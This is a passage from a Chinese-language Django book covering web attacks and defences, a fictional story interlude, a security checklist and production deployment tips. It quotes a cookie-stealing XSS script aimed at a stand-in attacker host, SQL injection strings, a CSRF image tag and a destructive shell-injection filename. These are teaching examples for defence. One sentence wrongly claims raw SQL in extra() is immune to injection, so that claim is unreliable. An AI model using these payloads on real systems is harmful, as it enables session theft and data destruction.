如果你想知道一个简单的警报消息会造成什么伤害,记住任何 JavaScript 代码都可以以相同的方式执行。在最坏的情况下,用户的 Cookie 可以通过输入以下搜索词被发送到攻击者控制的站点:

<script>var adr = 'http://lair.com/evil.php?stolen=' + escape(document.cookie);</script>

一旦您的 Cookie 被发送,攻击者可能会进行更严重的攻击。

值得了解的是,为什么 Cookie 是几种攻击的目标。简而言之,访问 Cookie 允许攻击者冒充您,甚至控制您的网络帐户。

要详细了解这一点,您需要了解会话的概念。HTTP 是无状态的。无论是匿名用户还是经过身份验证的用户,Django 都会在一定时间内跟踪他们的活动,管理会话。

会话由客户端端(即浏览器)的“会话 ID”和服务器端存储的类似字典的对象组成。“会话 ID”是一个随机的 32 个字符的字符串,存储为浏览器中的 Cookie。每当用户向网站发出请求时,包括这个“会话 ID”在内的所有 Cookie 都会随请求一起发送。

在服务器端,Django 维护一个会话存储,将此会话 ID映射到会话数据。默认情况下,Django 将会话数据存储在django_session数据库表中。

用户成功登录后,会话将记录身份验证成功并跟踪用户。因此,cookie 成为后续交易的临时用户身份验证。任何获得此 cookie 的人都可以使用该 Web 应用程序作为该用户,这称为会话劫持

Django 如何帮助

您可能已经注意到,我的示例是 Django 中实现视图的一种非常不寻常的方式,原因有两个:它没有使用模板进行渲染,也没有使用表单类。它们都有防止 XSS 的措施。

默认情况下,Django 模板会自动转义 HTML 特殊字符。因此,如果您在模板中显示搜索字符串,所有标记都将被 HTML 编码。这使得无法注入脚本,除非您通过将内容标记为安全来明确关闭它们。

在 Django 中使用表单来验证和清理输入也是一种非常有效的对策。例如,如果您的应用程序需要数字员工 ID,则使用IntegerField类而不是更宽松的CharField类。

在我们的示例中,我们可以在搜索词字段中使用RegexValidator类,以限制用户只能使用您的搜索模块识别的字母数字字符和允许的标点符号。尽可能严格地限制用户输入的可接受范围。

Django 可能无法帮助的地方

Django 可以通过模板中的自动转义来防止 80%的 XSS 攻击。对于剩下的情况,您必须注意:

  • 引用所有 HTML 属性,例如,用<a href="{{link}}">替换<a href={{link}}>

  • 使用自定义方法在 CSS 或 JavaScript 中转义动态数据

  • 验证所有 URL,特别是针对不安全的协议,如javascript:

  • 避免客户端 XSS(也称为基于 DOM 的 XSS)

作为对抗 XSS 的一般规则,我建议——输入时过滤,输出时转义。确保您验证和清理(过滤)任何输入的数据,并在发送给用户之前立即转换(转义)它。具体而言,如果您需要支持具有 HTML 格式的用户输入,例如评论,请考虑改用 Markdown。

提示

输入时过滤,输出时转义。

跨站点请求伪造(CSRF)

跨站点请求伪造CSRF)是一种欺骗用户在访问其他网站时对已经经过身份验证的网站进行不需要的操作的攻击。比如,在论坛中,攻击者可以在页面中放置一个IMGIFRAME标记,向经过身份验证的网站发送一个精心制作的请求。

例如,以下假的 0x0 图像可以嵌入评论中:

<img src="img/post?message=I+am+a+Dufus" width="0" height="0" border="0">

如果您已经在另一个标签中登录了 SuperBook,并且网站没有 CSRF 对策,那么将会发布一个非常尴尬的消息。换句话说,CSRF 允许攻击者以您的身份执行操作。

Django 如何帮助

对抗 CSRF 的基本保护措施是对具有副作用的任何操作使用 HTTP POST(或PUTDELETE,如果支持)。任何GET(或HEAD)请求必须用于信息检索,例如只读。

Django 通过嵌入令牌来提供对POSTPUTDELETE方法的对策。您可能已经熟悉每个 Django 表单模板中提到的{% csrf_token %}。这是一个必须在提交表单时出现的随机值。

这种工作方式是,攻击者在向您的经过身份验证的站点发送请求时无法猜到令牌。由于令牌是强制性的,并且必须与显示表单时呈现的值匹配,因此表单提交失败,攻击被挫败。

Django 可能无法帮助的地方

一些人使用@csrf_exempt装饰器在视图中关闭 CSRF 检查,特别是对于 AJAX 表单提交。除非您仔细考虑了涉及的安全风险,否则不建议这样做。

SQL 注入

SQL 注入是跨站脚本(XSS)之后 Web 应用程序的第二大常见漏洞。攻击涉及将恶意 SQL 代码输入到在数据库上执行的查询中。这可能导致数据盗窃,通过转储数据库内容,或数据的破坏,比如使用DROP TABLE命令。

如果您熟悉 SQL,那么您可以理解以下代码片段。它根据给定的username查找电子邮件地址:

name = request.GET['user']
sql = "SELECT email FROM users WHERE username = '{}';".format(name)

乍一看,似乎只会返回与作为GET参数提到的用户名对应的电子邮件地址。但是,想象一下,如果攻击者在表单字段中输入' OR '1'='1,那么 SQL 代码将如下所示:

SELECT email FROM users WHERE username = '' OR '1'='1';

由于这个WHERE子句将始终为真,您应用程序中所有用户的电子邮件都将被返回。这可能是严重的机密信息泄漏。

同样,如果攻击者愿意,他可以执行更危险的查询,如下所示:

SELECT email FROM users WHERE username = ''; DELETE FROM users WHERE '1'='1';

现在所有用户条目都将从您的数据库中删除!

Django 如何帮助

防范 SQL 注入的措施非常简单。使用 Django ORM 而不是手工编写 SQL 语句。前面的示例应该这样实现:

User.objects.get(username=name).email

在这里,Django 的数据库驱动程序将自动转义参数。这将确保它们被视为纯粹的数据,因此它们是无害的。然而,正如我们很快将看到的那样,即使 ORM 也有一些逃生口。

Django 可能无法帮助的地方

可能会有一些情况需要使用原始 SQL,比如由于 Django ORM 的限制。例如,查询集的extra()方法的where子句允许原始 SQL。这些 SQL 代码不会受到 SQL 注入的影响。

如果您正在使用低级数据库操作,比如execute()方法,那么您可能希望传递绑定参数,而不是自己插入 SQL 字符串。即使这样,强烈建议您检查每个标识符是否已经被正确转义。

最后,如果您使用的是 MongoDB 等第三方数据库 API,则需要手动检查 SQL 注入。理想情况下,您希望在这些接口中只使用经过彻底清理的数据。

点击劫持

点击劫持是一种误导用户在浏览器中点击隐藏的链接或按钮的手段,当他们本来打算点击其他东西时。这通常是通过使用包含目标网站的不可见 IFRAME 在用户可能点击的虚拟网页上实现的:

点击劫持

由于不可见框架中的操作按钮将与虚拟页面中的按钮完全对齐,用户的点击将在目标网站上执行操作,而不是在虚拟页面上。

Django 如何帮助

Django 通过使用可以使用几个装饰器进行微调的中间件来保护您的网站免受点击劫持的影响。默认情况下,'django.middleware.clickjacking.XFrameOptionsMiddleware'中间件将包含在您的设置文件中的MIDDLEWARE_CLASSES中。它通过为每个传出的HttpResponse设置X-Frame-Options头为SAMEORIGIN来工作。

大多数现代浏览器都识别该标头,这意味着该页面不应该在其他域中的框架内。可以使用装饰器(如@xframe_options_deny@xframe_options_exempt)为某些视图启用和禁用保护。

Shell 注入

顾名思义,shell 注入命令注入允许攻击者向系统 shell(如bash)注入恶意代码。即使 Web 应用程序也使用命令行程序来方便和实现功能。这些进程通常在 shell 中运行。

例如,如果要显示用户给定名称的文件的所有详细信息,一个天真的实现如下:

os.system("ls -l {}".format(filename))

攻击者可以将filename输入为manage.py; rm -rf *并删除目录中的所有文件。一般来说,不建议使用os.systemsubprocess模块是一个更安全的选择(或者更好的是,您可以使用os.stat()来获取文件的属性)。

由于 shell 会解释命令行参数和环境变量,因此在其中设置恶意值可以允许攻击者执行任意系统命令。

Django 如何帮助

Django 主要依赖于 WSGI 进行部署。由于 WSGI 不像 CGI 那样根据请求设置环境变量,因此在默认配置中,该框架本身不容易受到 shell 注入的影响。

然而,如果 Django 应用程序需要运行其他可执行文件,则必须小心以最少的权限运行它。任何外部来源的参数在传递给这些可执行文件之前必须经过清理。此外,如果不需要 shell 插值,可以使用subprocess模块的call()来以默认的shell=False参数安全地处理参数来运行命令行程序。

列表还在继续

这里有数百种攻击技术,我们没有涵盖到,而且随着新攻击的发现,这个列表每天都在增长。重要的是要保持对它们的了解。

Django 的官方博客(www.djangoproject.com/weblog/)是了解最新发现的漏洞的好地方。Django 的维护者们积极尝试通过发布安全更新来解决这些问题。强烈建议您尽快安装它们,因为它们通常对您的源代码需要很少或没有更改。

你的应用程序的安全性取决于它最薄弱的环节。即使你的 Django 代码可能完全安全,但你的堆栈中有很多层和组件。更不用说人类,他们也可以被各种社会工程技术欺骗,比如网络钓鱼。

一个领域的漏洞,比如操作系统、数据库或 Web 服务器,可以被利用来访问系统的其他部分。因此,最好对您的堆栈有一个整体的视图,而不是分别查看每个部分。

注意

安全室

史蒂夫一走出会议室,就拿出手机,给他的团队发了一封简洁的电子邮件:“可以了!”在过去的 60 分钟里,他被董事们询问了关于发布的每一个可能的细节。令史蒂夫恼火的是,Madam O 在整个时间里保持着冷静的沉默。

他走进自己的小屋,再次打开幻灯片。在引入清单后,琐碎错误的数量急剧下降。不可能在发布版中包含的基本功能是通过与 Hexa 和 Aksel 等乐于助人的用户进行早期合作解决的。

由于 Sue 出色的营销活动,Beta 网站的注册人数已经超过了 9,000 人。史蒂夫在他的职业生涯中从未见过如此多的对于一个发布的兴趣。就在那时,他注意到桌子上的报纸有些奇怪。

十五分钟后,他冲下 21 楼的过道。最后,有一扇标有 2109 的门。当他打开门时,他看到埃文正在处理一个看起来像白色塑料玩具笔记本电脑的东西。“你为什么要圈出填字游戏的线索?你本可以打电话给我,”史蒂夫问道。

“我想给你看点东西,”他笑着回答道。他拿起笔记本电脑走了出去。他停在 2110 房间和消防出口之间。他跪下来,用右手摸索着褪色的墙纸。“这里一定有个门闩,”他喃喃自语。

然后,他的手停了下来,转动了一把从墙上微微突出的把手。墙的一部分转动并停了下来。它露出了一个用红灯光照亮的房间的入口。屋顶上悬挂着一个标志,上面写着“21B 安全室”。

当他们进入时,许多屏幕和灯光自行打开。墙上的一个大屏幕上写着“需要验证。插入密钥。”埃文稍微欣赏了一下,然后开始连接他的笔记本电脑。

“埃文,我们在这里做什么?”史蒂夫压低声音问道。埃文停下来,“哦,对了。我想我们在测试完成之前还有一些时间。”他深吸了一口气。

“还记得奥女士要我调查哨兵代码库吗?我做到了。我意识到我们得到的是经过审查的源代码。我是说我可以理解在某些地方删除一些密码,但成千上万行的代码呢?我一直在想——肯定有什么事情发生了。

“所以,通过我的访问存档,我找到了一些旧的备份。磁介质未被擦除的几率出奇地高。无论如何,我能够恢复大部分被擦除的代码。你不会相信我看到了什么。

“哨兵不是一个普通的社交网络项目。它是一个监视计划。也许是人类已知的最大的监视计划。在冷战后,一群国家加入成立了一个网络,共享情报信息。一个由人类和哨兵组成的网络。哨兵是拥有难以置信的计算能力的半自主计算机。有人认为它们是量子计算机。

“哨兵被部署在世界各地的数千个战略位置——主要是海床,那里通过了主要的光纤电缆。它们以地热能源为动力,几乎不可摧毁。它们几乎可以访问大多数国家的几乎所有互联网通信。

“也许是在九十年代的某个时候,可能是出于对公众审查的担忧,哨兵计划被关闭了。这就是真正有趣的地方。代码历史表明,哨兵的开发是由一个名叫 Cerebos 的人继续的。代码已经从监视能力大大增强,发展成了一种类似于大规模并行超级计算机的东西。一个数值计算的野兽,对任何加密算法都构成了重大挑战。

“还记得那次入侵吗?我觉得很难相信在超级英雄到达之前没有任何进攻性行动。所以,我做了一些研究。S.H.I.M.的网络安全设计为五个同心圆。我们,员工,处于最外层,权限最低的环,由索伦保护。内部环采用了越来越强大的加密算法。这个房间在 4 级。

“我猜——在我们知道入侵之前很久,SAURON 的所有系统都已经被攻破了。系统崩溃,对那些机器人来说几乎是小菜一碟。我刚刚看了日志。这次攻击是极有针对性的——从 IP 地址到登录,所有的东西都是事先知道的。”

“内鬼?”史蒂夫惊恐地问道。

“是的。然而,哨兵只需要在 5 级时才需要帮助。一旦它们获得了 4 级的公钥,它们就开始攻击 4 级系统。听起来很疯狂,但这就是它们的策略。”

“为什么疯狂?”

“嗯,世界上大部分的在线安全都是基于公钥密码学或非对称密码学。它基于两个密钥:一个公钥,一个私钥。尽管在数学上相关——如果你有另一个密钥,要找到一个密钥在计算上是不可行的。”

“你是说哨兵网络可以?”

“事实上,它们可以用于更小的密钥。根据我现在正在进行的测试,它们的能力已经显著增长。按照这个速度,它们应该在不到 24 小时内准备好进行另一次攻击。”

“该死,那时候 SuperBook 上线了!”

一个方便的安全清单。

安全不是事后想到的,而是写应用程序的方式的一部分。然而,作为人类,有一个清单可以提醒你常见的遗漏是很方便的。

以下要点是在将 Django 应用程序公开之前应执行的最低安全检查:

  • 不要相信来自浏览器、API 或任何外部来源的数据:这是一个基本规则。确保验证和清理任何外部数据。

  • 不要将SECRET_KEY保存在版本控制中:作为最佳实践,从环境中选择SECRET_KEY。查看django-environ包。

  • 不要以纯文本形式存储密码:存储应用程序密码哈希。还要添加一个随机盐。

  • 不要记录任何敏感数据:从日志文件中过滤掉机密数据,如信用卡详细信息或 API 密钥。

  • 任何安全交易或登录都应使用 SSL:请注意,与您在同一网络中的窃听者可能会监听您的 Web 流量,如果不是在 HTTPS 中。理想情况下,您应该为整个站点使用 HTTPS。

  • 避免使用重定向到用户提供的 URL:如果您有重定向,例如http://example.com/r?url=http://evil.com,则始终检查白名单域。

  • 即使对已验证的用户也要检查授权:在执行任何具有副作用的更改之前,请检查已登录用户是否被允许执行。

  • 使用最严格的正则表达式:无论是您的URLconf还是表单验证器,都必须避免懒惰和通用的正则表达式。

  • 不要将 Python 代码保存在 Web 根目录中:如果以纯文本形式提供,这可能导致源代码意外泄漏。

  • 使用 Django 模板而不是手动构建字符串:模板具有防止 XSS 攻击的保护。

  • 使用 Django ORM 而不是 SQL 命令:ORM 提供了防止 SQL 注入的保护。

  • 对于具有副作用的任何操作,请使用 Django 表单和POST输入:对于简单的投票按钮使用表单可能看起来有些多余。但是请这样做。

  • 应启用和使用 CSRF:如果您使用@csrf_exempt装饰器豁免某些视图,则要非常小心。

  • 确保 Django 和所有软件包都是最新版本:计划更新。它们可能需要对您的源代码进行一些更改。但是它们也带来了全新的功能和安全修复。

  • 限制用户上传文件的大小和类型:允许大文件上传可能会导致拒绝服务攻击。拒绝上传可执行文件或脚本。

  • 有备份和恢复计划:由于墨菲定律,您可以计划不可避免的攻击、灾难或任何其他类型的停机。确保您经常备份以最小化数据丢失。

其中一些可以使用 Erik 的 Pony Checkup 在ponycheckup.com/自动检查。但我建议您打印或复制此检查表并将其贴在您的桌子上。

请记住,这个列表绝不是详尽无遗的,也不能替代专业的安全审计。

总结

在本章中,我们看了影响网站和 Web 应用程序的常见攻击类型。在许多情况下,为了清晰起见,我们对技术的解释进行了简化,但这也牺牲了细节。然而,一旦我们了解了攻击的严重性,我们就能欣赏 Django 提供的对策。

在我们的最后一章中,我们将更详细地查看预部署活动。我们还将研究各种部署策略,例如基于云的主机用于部署 Django 应用程序。

第十一章:生产就绪

在本章中,我们将讨论以下主题:

  • 选择 Web 堆栈

  • 托管方法

  • 部署工具

  • 监控

  • 性能提示

因此,您已经在 Django 中开发和测试了一个完全功能的 Web 应用程序。部署此应用程序可能涉及从选择托管提供商到执行安装等多种活动。更具挑战性的可能是保持生产站点在没有中断的情况下运行,并处理意外的流量突发情况。

系统管理的学科是广泛的。因此,本章将涵盖很多内容。然而,鉴于空间有限,我们将尝试让您熟悉构建生产环境的各个方面。

生产环境

尽管我们大多数人直觉上理解生产环境是什么,但值得澄清它的真正含义。生产环境只是最终用户使用您的应用程序的地方。它应该是可用的、有弹性的、安全的、响应迅速的,并且必须具有当前(和未来)需求的充足容量。

与开发环境不同,生产环境中出现任何问题可能会导致真正的业务损失。因此,在进入生产环境之前,代码会被移动到各种测试和验收环境,以尽可能消除尽可能多的错误。为了方便追踪,对生产环境所做的每一次更改都必须进行跟踪、记录并向团队中的每个人提供访问权限。

因此,绝对不应该直接在生产环境中进行开发。事实上,生产环境中不需要安装开发工具,如编译器或调试器。任何额外软件的存在都会增加您站点的攻击面,并可能构成安全风险。

大多数 Web 应用程序部署在几乎没有停机时间的站点上,比如全年无休运行的大型数据中心。通过设计以应对故障,即使内部组件出现故障,也有足够的冗余来防止整个系统崩溃。这种避免单点故障SPOF)的概念可以应用于每个层面——硬件或软件。

因此,选择在生产环境中运行的软件集合至关重要。

选择 Web 堆栈

到目前为止,我们还没有讨论您的应用程序将在其上运行的堆栈。尽管我们在最后才谈论它,但最好不要将这样的决定推迟到应用程序生命周期的后期阶段。理想情况下,您的开发环境必须尽可能接近生产环境,以避免“但它在我的机器上运行”这种论点。

通过 Web 堆栈,我们指的是用于构建 Web 应用程序的一组技术。它通常被描述为一系列组件,如操作系统、数据库和 Web 服务器,都堆叠在一起。因此,它被称为堆栈。

我们主要将关注开源解决方案,因为它们被广泛使用。但是,如果它们更适合您的需求,也可以使用各种商业应用程序。

堆栈的组件

生产 Django Web 堆栈是使用多种应用程序(或层,根据您的术语)构建的。在构建 Web 堆栈时,您可能需要做出以下选择:

  • 选择哪种操作系统和发行版?例如:Debian,Red Hat 或 OpenBSD。

  • 选择哪种 WSGI 服务器?例如:Gunicorn,uWSGI。

  • 选择哪种 Web 服务器?例如:Apache,Nginx。

  • 选择哪种数据库?例如:PostgreSQL,MySQL 或 Redis。

  • 选择哪种缓存系统?例如:Memcached,Redis。

  • 选择哪种进程控制和监控系统?例如:Upstart,Systemd 或 Supervisord。

  • 如何存储静态媒体?例如:Amazon S3,CloudFront。

可能还有其他几种选择,这些选择也不是互斥的。有些人同时使用这些应用程序。例如,用户名的可用性可能在 Redis 上查找,而主数据库可能是 PostgreSQL。

在选择堆栈时,没有一个“一刀切”的答案。不同的组件有不同的优势和劣势。只有经过慎重考虑和测试后才选择它们。例如,你可能听说过 Nginx 是一个流行的 Web 服务器选择,但你实际上可能需要 Apache 的丰富模块或选项。

有时,选择堆栈是基于各种非技术原因的。你的组织可能已经将特定的操作系统,比如 Debian,作为所有服务器的标准。或者你的云托管提供商可能只支持有限的堆栈。

因此,你选择如何托管你的 Django 应用程序是确定你的生产设置的关键因素之一。

托管

在托管方面,你需要确保是否选择像 Heroku 这样的托管平台。如果你不太了解如何管理服务器,或者团队中没有人具备这方面的知识,那么托管平台是一个方便的选择。

平台即服务

平台即服务(PaaS)被定义为一个云服务,其中解决方案堆栈已经为你提供和管理。Django 托管的热门平台包括 Heroku、PythonAnywhere 和 Google App Engine。

在大多数情况下,部署 Django 应用程序应该就像选择堆栈的服务或组件,然后推送你的源代码一样简单。你不需要进行任何系统管理或自己设置。平台完全由管理。

与大多数云服务一样,基础设施也可以根据需求进行扩展。如果你需要额外的数据库服务器或者服务器上的更多内存,可以很容易地从 Web 界面或命令行进行配置。定价主要基于你的使用情况。

这些托管平台的底线是它们非常容易设置,非常适合较小的项目。随着用户群体的增长,它们往往会变得更加昂贵。

另一个缺点是,你的应用程序可能会与某个平台绑定,或者变得难以移植。例如,Google App Engine 只支持非关系型数据库,这意味着你需要使用 django-nonrel,这是 Django 的一个分支。现在,谷歌云 SQL 已经在一定程度上缓解了这个限制。

虚拟专用服务器

虚拟专用服务器(VPS)是在共享环境中托管的虚拟机。从开发者的角度来看,它看起来像是一个预装有操作系统的专用机器(因此称为私有)。你需要自己安装和设置整个堆栈,尽管许多 VPS 提供商,比如 WebFaction 和 DigitalOcean,提供了更简单的 Django 设置。

如果你是一个初学者,并且可以抽出一些时间,我强烈推荐这种方法。你将获得 root 访问权限,可以构建整个堆栈。你不仅会理解堆栈的各个部分是如何组合在一起的,还可以完全控制每个单独组件的微调。

与 PaaS 相比,VPS 可能会更有性价比,特别是对于高流量的网站。你可能还可以从同一台服务器上运行多个站点。

其他托管方法

尽管在平台或 VPS 上托管是迄今为止最流行的两种托管选项,但还有很多其他选择。如果你想最大化性能,你可以选择从提供商(比如 Rackspace)那里获得裸金属服务器的托管。

在托管光谱的较轻端,您可以通过在 Docker 容器中托管多个应用程序来节省成本。Docker 是一种将应用程序和依赖项打包到虚拟容器中的工具。与传统虚拟机相比,Docker 容器启动更快,开销更小(因为没有捆绑的操作系统或 hypervisor)。

Docker 非常适合托管基于微服务的应用程序。它正变得像虚拟化一样普遍,几乎每个 PaaS 和 VPS 提供商都支持它们。它也是一个很好的开发平台,因为 Docker 容器封装了整个应用程序状态,可以直接部署到生产环境。

部署工具

一旦您确定了您的托管解决方案,您的部署过程中可能会有几个步骤,从运行回归测试到生成后台服务。

成功的部署过程的关键是自动化。由于部署应用程序涉及一系列明确定义的步骤,因此可以正确地将其视为一个编程问题。一旦您有了自动化的部署,您就不必担心部署,以免错过任何步骤。

事实上,部署应该是无痛的,并且可以根据需要频繁进行。例如,Facebook 团队可以每天发布代码到生产环境多达两次。考虑到 Facebook 庞大的用户群和代码库,这是一个令人印象深刻的壮举,然而,由于紧急错误修复和补丁需要尽快部署,这变得必要。

一个良好的部署过程也是幂等的。换句话说,即使您意外地运行了部署工具两次,操作也不应该执行两次(或者它应该保持在相同的状态)。

让我们看一些用于部署 Django 应用程序的流行工具。

Fabric

Fabric 在 Python Web 开发者中备受青睐,因为它简单易用。它期望一个名为fabfile.py的文件,定义项目中的所有操作(部署或其他)。这些操作可以是本地或远程 shell 命令。远程主机通过 SSH 连接。

Fabric 的关键优势在于其能够在一组远程主机上运行命令。例如,您可以定义一个包含生产环境中所有 Web 服务器主机名的web组。您可以通过在命令行上指定 web 组名称来仅针对这些 Web 服务器运行 Fabric 操作。

为了说明使用 Fabric 部署站点涉及的任务,让我们看一个典型的部署场景。

典型的部署步骤

假设您在单个 Web 服务器上部署了一个中等规模的 Web 应用程序。Git 被选择为版本控制和协作工具。一个与所有用户共享的中央仓库已经以裸 Git 树的形式创建。

假设您的生产服务器已经完全设置好。当您运行 Fabric 部署命令,比如fab deploy时,以下脚本化的一系列操作会发生:

  1. 在本地运行所有测试。

  2. 提交所有本地更改到 Git。

  3. 推送到远程中央 Git 仓库。

  4. 解决合并冲突(如果有)。

  5. 收集静态文件(CSS,图像)。

  6. 将静态文件复制到静态文件服务器。

  7. 在远程主机上,从中央 Git 仓库拉取更改。

  8. 在远程主机上,运行(数据库)迁移。

  9. 在远程主机上,触发app.wsgi以重新启动 WSGI 服务器。

整个过程是自动的,应该在几秒钟内完成。默认情况下,如果任何步骤失败,则部署将中止。尽管没有明确提到,但会有检查确保该过程是幂等的。

请注意,Fabric 目前还不兼容 Python 3,尽管开发人员正在进行移植。与此同时,您可以在 Python 2.x 虚拟环境中运行 Fabric,或者查看类似的工具,比如 PyInvoke。

配置管理

使用 Fabric 在不同状态下管理多个服务器可能很困难。Chef、Puppet 或 Ansible 等配置管理工具试图将服务器带到特定的期望状态。

与需要以命令方式指定部署过程的 Fabric 不同,这些配置管理工具是声明性的。你只需要定义你希望服务器达到的最终状态,它就会找出如何达到那个状态。

例如,如果你想确保 Nginx 服务在所有的 Web 服务器上启动时运行,那么你需要定义一个服务器状态,其中 Nginx 服务既在运行又在启动时启动。另一方面,使用 Fabric,你需要指定确切的步骤来安装和配置 Nginx 以达到这种状态。

配置管理工具最重要的优势之一是它们默认是幂等的。你的服务器可以从一个未知状态变为已知状态,从而实现更容易的服务器配置管理和可靠的部署。

在配置管理工具中,Chef 和 Puppet 因为是这一类别中最早的工具之一,所以受到了广泛的欢迎。然而,它们在 Ruby 中的根源可能会让 Python 程序员感到有些陌生。对于这样的人来说,我们有 Salt 和 Ansible 作为很好的替代品。

与简单的工具(如 Fabric)相比,配置管理工具有相当大的学习曲线。然而,它们是创建可靠的生产环境的必要工具,绝对值得学习。

监控

即使是一个中等规模的网站也可能非常复杂。Django 可能是数百个应用程序和服务之一,它们运行并相互交互。与人体的心跳和其他生命体征可以不断监测以评估人体健康的方式相同,大多数生产系统中也会收集、分析和呈现各种指标。

虽然日志记录各种事件,比如 Web 请求的到达或异常,监控通常是指定期收集关键信息,比如内存利用率或网络延迟。然而,在应用程序级别,差异变得模糊,比如,监控数据库查询性能,这很可能是从日志中收集的。

监控还有助于早期发现问题。异常模式,比如突然上升或逐渐增加的负载,可能是更大潜在问题的迹象,比如内存泄漏。一个良好的监控系统可以在问题发生之前提醒网站所有者。

监控工具通常需要一个后端服务(有时称为代理)来收集统计数据,以及一个前端服务来显示仪表板或生成报告。流行的数据收集后端包括 StatsD 和 Monit。这些数据可以传递给前端工具,比如 Graphite。

有一些托管的监控工具,比如 New Relic 和 Status.io,更容易设置和使用。

性能测量是监控的另一个重要作用。正如我们将很快看到的,任何提出的优化在实施之前都必须经过仔细的测量和监控。

性能

性能是一个特性。研究表明,网站速度慢对用户和收入都有不利影响。例如,2007 年在亚马逊进行的测试显示,amazon.com每增加 100 毫秒的加载时间,销售额就会减少 1%。

令人放心的是,一些高性能的 Web 应用程序,如 Disqus 和 Instagram,都是基于 Django 构建的。在 Disqus,2013 年,他们可以处理 150 万个并发连接用户,每秒新建 45000 个连接,每秒发送 165000 条消息,端到端延迟不到 0.2 秒。

改善性能的关键是找出瓶颈所在。与其依赖猜测,建议您始终测量和分析您的应用程序,以确定这些性能瓶颈。正如开尔文勋爵所说:

如果你不能测量它,你就不能改善它。

在大多数 Web 应用程序中,瓶颈可能在浏览器端或数据库端,而不是在 Django 内部。但是,对于用户来说,整个应用程序都需要响应。

让我们看一些改善 Django 应用程序性能的方法。由于技术差异很大,这些建议被分成了两部分:前端和后端。

前端性能

Django 程序员可能会快速忽视前端性能,因为它涉及了解客户端,通常是浏览器,的工作原理。然而,引用 Steve Souders 对 Alexa 排名前 10 的网站的研究:

80-90%的最终用户响应时间都花在了前端。从那里开始。

前端优化的一个很好的起点是使用 Google Page Speed 或 Yahoo! YSlow(通常用作浏览器插件)检查您的网站。这些工具将对您的网站进行评分,并推荐各种最佳实践,比如最小化 HTTP 请求的数量或对内容进行 gzip 压缩。

作为最佳实践,您的静态资产,如图像、样式表和 JavaScript 文件,不应通过 Django 提供。而是应该由静态文件服务器、云存储(如 Amazon S3)或内容传递网络(CDN)为其提供更好的性能。

即使如此,Django 可以帮助您以多种方式改善前端性能:

  • 使用CachedStaticFilesStorage无限缓存:加载静态资产的最快方法是利用浏览器缓存。通过设置长时间的缓存时间,您可以避免反复下载相同的资产。但是,挑战在于知道何时不使用缓存当内容发生变化时。

CachedStaticFilesStorage通过将资产的 MD5 哈希附加到其文件名中来优雅地解决了这个问题。这样,您可以无限扩展这些文件的缓存 TTL。

要使用这个功能,将STATICFILES_STORAGE设置为CachedStaticFilesStorage,或者如果您有自定义存储,可以继承CachedFilesMixin。此外,最好配置缓存以使用本地内存缓存后端来执行静态文件名到其哈希名称的查找。

  • 使用静态资产管理器:资产管理器可以预处理您的静态资产,对它们进行缩小、压缩或合并,从而减小它们的大小并减少请求。它还可以对它们进行预处理,使您能够用其他语言编写它们,比如 CoffeeScript 和 Sass。有几个 Django 包提供了静态资产管理,比如django-pipelinewebassets

后端性能

后端性能改进的范围涵盖了整个服务器端 Web 堆栈,包括数据库查询、模板渲染、缓存和后台作业。您将希望从中获得最高的性能,因为这完全在您的控制范围内。

对于快速和简单的分析需求,django-debug-toolbar非常方便。我们还可以使用 Python 分析工具,比如hotshot模块进行详细分析。在 Django 中,您可以使用几个分析中间件片段之一来在浏览器中显示 hotshot 的输出。

最近的实时分析解决方案是django-silk。它将所有请求和响应存储在配置的数据库中,允许在整个用户会话中进行聚合分析,比如查找性能最差的视图。它还可以通过添加装饰器来对任何 Python 代码进行分析。

与以前一样,我们将看一些改善后端性能的方法。但是,考虑到它们本身是广泛的主题,它们已被分成了几个部分。这些方法中的许多已经在前几章中进行了介绍,但在这里进行了总结以便易于参考。

模板

如文档建议的那样,应在生产中启用缓存模板加载程序。这样可以避免每次需要呈现时重新解析和重新编译模板的开销。缓存模板在首次需要时编译,然后存储在内存中。对相同模板的后续请求将从内存中提供。

如果发现其他模板语言(如 Jinja2)呈现页面的速度明显更快,则可以很容易地替换内置的 Django 模板语言。有几个库可以集成 Django 和 Jinja2,如 django-jinja。预计 Django 1.8 将默认支持多个模板引擎。

数据库

有时,Django ORM 可以生成低效的 SQL 代码。有几种优化模式可以改善这一点:

  • 使用 select_related 减少数据库访问次数:如果您在大量对象上使用了 OneToOneField 或外键关系,可以使用 select_related() 执行 SQL 连接并减少数据库访问次数。

  • 使用 prefetch_related 减少数据库访问次数:对于访问ManyToManyField 方法或反向的外键关系,或大量对象中的外键关系,请考虑使用 prefetch_related 来减少数据库访问次数。

  • 使用 values() values_list 仅获取所需字段的值:通过限制查询仅返回所需字段并跳过模型实例化,可以节省时间和内存使用。

  • 去规范化模型:选择性去规范化通过减少连接来提高性能,但会牺牲数据一致性。它也可以用于预先计算值,比如字段的总和或活动状态报告到额外的列中。与在查询中使用注释值相比,去规范化字段通常更简单更快。

  • 添加索引:如果在查询中经常搜索非主键字段,请考虑在模型定义中将该字段的 db_index 设置为 True。

  • 一次创建、更新和删除多行:可以使用 bulk_create()update()delete() 方法在单个数据库查询中操作多个对象。但是,它们有一些重要的注意事项,比如跳过该模型上的 save() 方法。因此,在使用它们之前,请仔细阅读文档。

作为最后的手段,您始终可以使用经过验证的数据库性能专业知识微调原始 SQL 语句。但是,随着时间的推移,维护 SQL 代码可能会很痛苦。

缓存

任何需要时间的计算都可以利用缓存,并更快地返回预先计算的结果。但是,问题在于过期数据,或者经常被引用为计算机科学中最难的事情之一,即缓存失效。这通常在刷新页面后,YouTube 视频的观看次数不会改变时被发现。

Django 有一个灵活的缓存系统,允许您从模板片段到整个站点进行缓存。它允许各种可插拔的后端,如基于文件或基于数据的后端存储。

大多数生产系统使用基于内存的缓存系统,如 Redis 或 Memcached。这纯粹是因为易失性内存比基于磁盘的存储快得多。

这样的缓存存储非常适合存储频繁使用但短暂的数据,比如用户会话。

缓存会话后端

默认情况下,Django 将用户会话存储在数据库中。通常会为每个请求检索。为了提高性能,可以通过更改 SESSION_ENGINE 设置将会话数据存储在内存中。例如,可以在 settings.py 中添加以下内容来将会话数据存储在缓存中:

SESSION_ENGINE = "django.contrib.sessions.backends.cache"

由于一些缓存存储可能会清除过期数据导致会话数据丢失,最好使用 Redis 或 Memcached 作为会话存储,内存限制足够支持最大数量的活动用户会话。

缓存框架

对于基本的缓存策略,使用缓存框架可能更容易。两个流行的框架是django-cache-machinedjango-cachalot。它们可以处理常见的情况,比如自动缓存查询结果,以避免每次执行读取时都要访问数据库。

